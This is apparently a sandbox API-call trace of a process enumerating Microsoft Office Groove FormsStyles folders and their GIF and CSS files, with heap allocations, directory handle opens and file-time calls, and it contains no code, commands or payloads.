[0079.015] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0079.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c88c0 [0079.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d7800 [0079.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.016] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac07cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0079.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c88e0 [0079.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d7908 [0079.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.017] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac07cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0079.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8900 [0079.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d7a10 [0079.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.017] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac07cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0079.018] GetLastError () returned 0x12 [0079.018] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0079.018] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.018] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.018] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0079.018] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0079.018] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac07cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0079.018] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac07cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0079.018] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac07cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0079.018] GetLastError () returned 0x12 [0079.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d51d8) returned 1 [0079.018] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0079.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d52e0) returned 1 [0079.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0079.018] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts2.css", cAlternateFileName="")) returned 1 [0079.018] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac7a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d43ce90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl", cAlternateFileName="")) returned 1 [0079.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0079.019] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl"), fInfoLevelId=0x0, lpFileInformation=0x119e370 | out: lpFileInformation=0x119e370*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac7a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d43ce90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0079.021] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e3b4, lpLastWriteTime=0x119e3b4) returned 0 [0079.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11dc790 [0079.021] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11dc790, nOutBufferSize=0x4000, lpBytesReturned=0x119e40c, lpOverlapped=0x0 | out: lpOutBuffer=0x11dc790, lpBytesReturned=0x119e40c, lpOverlapped=0x0) returned 0 [0079.021] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dc790) returned 1 [0079.022] NtClose (Handle=0x180) returned 0x0 [0079.022] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0079.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d50d0 [0079.022] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d52e0 [0079.022] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e91c0 [0079.022] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac7a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d43ce90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.022] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x32f, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0079.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.023] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.023] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d51d8 [0079.023] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8920 [0079.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d7b18 [0079.023] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.023] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6993, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0079.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8940 [0079.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d7c20 [0079.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.024] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0079.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8960 [0079.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d7d28 [0079.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.025] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0079.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c8980 [0079.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d7e30 [0079.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.026] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0079.026] GetLastError () returned 0x12 [0079.026] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\*", fInfoLevelId=0x1, lpFindFileData=0x119e1bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e1bc) returned 0x2e9080 [0079.026] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0079.026] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac7a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d43ce90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.026] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x32f, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0079.027] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6993, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0079.027] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0079.027] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0079.027] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e1bc | out: lpFindFileData=0x119e1bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0079.027] GetLastError () returned 0x12 [0079.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d52e0) returned 1 [0079.027] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d51d8) returned 1 [0079.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d50d0) returned 1 [0079.027] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl.css", cAlternateFileName="")) returned 1 [0079.027] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5acc63d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="Teal.css", cAlternateFileName="")) returned 1 [0079.027] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="TexturedBlue.css", cAlternateFileName="")) returned 1 [0079.027] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x733, dwReserved0=0x0, dwReserved1=0x0, cFileName="VelvetRose.css", cAlternateFileName="")) returned 1 [0079.027] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x733, dwReserved0=0x0, dwReserved1=0x0, cFileName="VelvetRose.css", cAlternateFileName="")) returned 0 [0079.027] GetLastError () returned 0x12 [0079.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d31e0) returned 1 [0079.027] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0079.028] 